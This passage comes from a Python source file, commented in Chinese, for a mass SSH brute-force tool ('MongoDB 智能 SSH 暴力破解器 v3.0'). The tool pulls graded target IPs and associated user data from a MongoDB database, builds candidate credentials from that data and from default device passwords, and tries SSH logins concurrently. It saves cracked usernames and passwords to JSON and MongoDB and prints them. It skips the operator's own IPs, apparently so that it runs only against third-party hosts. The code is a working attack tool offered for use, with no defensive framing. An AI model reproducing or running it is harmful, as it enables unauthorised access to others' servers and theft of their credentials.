{"ip": result.ip},
{"$set": {
"brute_status": "success",
"brute_username": result.username,
"brute_password": result.password,
"brute_time": datetime.now().isoformat(),
}}
)
client.close()
except Exception as e:
self.logger.warning(f"MongoDB写入失败: {e}")
async def run(self, targets):
"""主运行"""
self.semaphore = asyncio.Semaphore(self.concurrency)
self.start_time = time.time()
self.total_hosts = len(targets)
# 统计各级别
grade_counts = defaultdict(int)
for t in targets:
grade_counts[t.get("_grade", "?")] += 1
print(f"\n{'='*60}")
print(f" MongoDB 智能 SSH 暴力破解器 v3.0")
print(f"{'='*60}")
print(f" 目标: {len(targets)} 台主机")
for g in ["S", "A", "B", "C"]:
if grade_counts[g] > 0:
print(f" {g}级: {grade_counts[g]}")
print(f" 并发: {self.concurrency}")
print(f" 超时: {self.timeout}s")
print(f" 排除: 老坑爹/黑科技(自有平台) + {len(OWN_INFRASTRUCTURE)}个自有IP")
print(f"{'='*60}")
# ── 预批量加载用户数据(避免破解时逐个查库阻塞事件循环)──
print(f"\n[*] 预加载 {len(targets)} 个IP的用户数据...", end=" ")
try:
import pymongo
_client = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=5000)
_coll = _client[MONGO_DB][MONGO_COLLECTION]
target_ips = [t["ip"] for t in targets]
# 批量查询:只取 users 和 user_count
user_docs = {}
for batch_start in range(0, len(target_ips), 500):
batch_ips = target_ips[batch_start:batch_start+500]
for udoc in _coll.find(
{"ip": {"$in": batch_ips}},
{"ip": 1, "users": 1, "user_count": 1}
):
if udoc.get("users"):
user_docs[udoc["ip"]] = {
"users": udoc["users"],
"user_count": udoc.get("user_count", 0)
}
_client.close()
# 把用户数据注入 targets
users_found = 0
for t in targets:
ud = user_docs.get(t["ip"])
if ud:
t["users"] = ud["users"]
t["user_count"] = ud["user_count"]
users_found += 1
print(f"完成! {users_found}/{len(targets)} 个IP有关联用户")
except Exception as e:
print(f"失败({e}), 将仅用设备默认凭证")
# 主机级并发控制(不在凭证级用信号量,避免事件循环阻塞)
host_semaphore = asyncio.Semaphore(self.concurrency)
async def limited_brute(t):
async with host_semaphore:
return await self.brute_single_host(t)
tasks = [limited_brute(t) for t in targets]
await asyncio.gather(*tasks, return_exceptions=True)
# 统计
elapsed = time.time() - self.start_time
print(f"\n\n{'='*60}")
print(f" 扫描完成!")
print(f" 目标主机: {self.total_hosts}")
print(f" 总尝试: {self.total_attempts}")
print(f" 成功: {self.success_count}")
print(f" 失败: {self.fail_count}")
print(f" 错误: {self.error_count}")
print(f" 耗时: {elapsed:.1f}s")
print(f" 速率: {self.total_attempts / elapsed:.0f}/s" if elapsed > 0 else "")
print(f" 成功率: {self.success_count / self.total_hosts * 100:.1f}%" if self.total_hosts > 0 else "")
if self.found_creds:
print(f"\n 成功凭证已保存:")
print(f" 本地: {self.output_dir}/found_credentials.json")
print(f" MongoDB: KR.{MONGO_RESULT_COLLECTION}")
print(f"\n 成功IP一览:")
for r in self.found_creds:
print(f" [{r.grade}] {r.ip}:{r.port} {r.username}:{r.password} ({r.os_guess})")
print(f"{'='*60}")
# 保存报告
self._save_report(targets, elapsed)
def _save_report(self, targets, elapsed):
report = {
"scan_info": {
"start_time": datetime.fromtimestamp(self.start_time).isoformat(),
"elapsed_seconds": round(elapsed, 1),
"total_targets": self.total_hosts,
"total_attempts": self.total_attempts,
"success_count": self.success_count,
"fail_count": self.fail_count,
"error_count": self.error_count,
"concurrency": self.concurrency,
"success_rate": f"{self.success_count / self.total_hosts * 100:.1f}%" if self.total_hosts > 0 else "0%",
},
"found_credentials": [asdict(r) for r in self.found_creds],
"grade_stats": {
grade: sum(1 for t in targets if t.get("_grade") == grade)
for grade in ["S", "A", "B", "C"]
},
}
report_path = self.output_dir / f"smart_brute_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
report_path.write_text(json.dumps(report, indent=2, ensure_ascii=False))
# =====================================================
# 主函数
# =====================================================
def main():
parser = argparse.ArgumentParser(description="MongoDB智能SSH暴力破解器")
parser.add_argument("--level", "-l", default="SA",
help="目标级别: S/A/B/C 组合 (默认 SA)")
parser.add_argument("--max-targets", "-m", type=int, default=0,
help="最大目标数 (0=不限)")
parser.add_argument("--concurrency", "-c", type=int, default=DEFAULT_CONCURRENCY,
help=f"并发数 (默认 {DEFAULT_CONCURRENCY})")
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
help=f"超时秒数 (默认 {DEFAULT_TIMEOUT})")
parser.add_argument("--delay", type=float, default=DEFAULT_DELAY,
help=f"尝试间隔 (默认 {DEFAULT_DELAY})")
parser.add_argument("--output", "-o", default="./results",
help="输出目录")
parser.add_argument("--dry-run", action="store_true",
help="试运行(只查询打印,不实际登录)")
parser.add_argument("--verbose", "-v", action="store_true")
args = parser.parse_args()
logging.basicConfig(
level=logging.DEBUG if args.verbose else logging.WARNING,
format="%(asctime)s [%(levelname)s] %(message)s"
)
# asyncssh 日志太吵,静默
logging.getLogger("asyncssh").setLevel(logging.WARNING)
# 查询目标
targets = query_targets(level=args.level, max_targets=args.max_targets)
if not targets:
print("[!] 无目标可破解")
sys.exit(1)
if args.dry_run:
print(f"\n[试运行] 前 20 个目标 (含用户派生凭证):")
for i, t in enumerate(targets[:20]):
ip = t['ip']
user_creds = get_user_derived_credentials(t)
device_creds = get_smart_credentials(t.get("os_guess", ""), t.get("ssh_version", ""), t.get("ssh_banner", ""))
all_creds = sorted(set([(c[0],c[1],c[2],c[3]) for c in device_creds + user_creds]), key=lambda x: x[2])
top5 = ", ".join(f"{c[0]}:{c[1]}({c[3][:10]})" for c in all_creds[:5])
print(f" {i+1}. [{t.get('_grade')}] {t['ip']}:{t.get('ssh_port', 22)} "
f"({t.get('os_guess', '?')}) "
f"用户凭证:{len(user_creds)}条 设备凭证:{len(device_creds)}")
print(f" Top5: {top5}")
print(f"\n ... 共 {len(targets)}")
sys.exit(0)
# 实际破解
bruter = MongoSmartBruter(
concurrency=args.concurrency,
timeout=args.timeout,
delay=args.delay,
output_dir=args.output,
)
asyncio.run(bruter.run(targets))
if __name__ == "__main__":
main()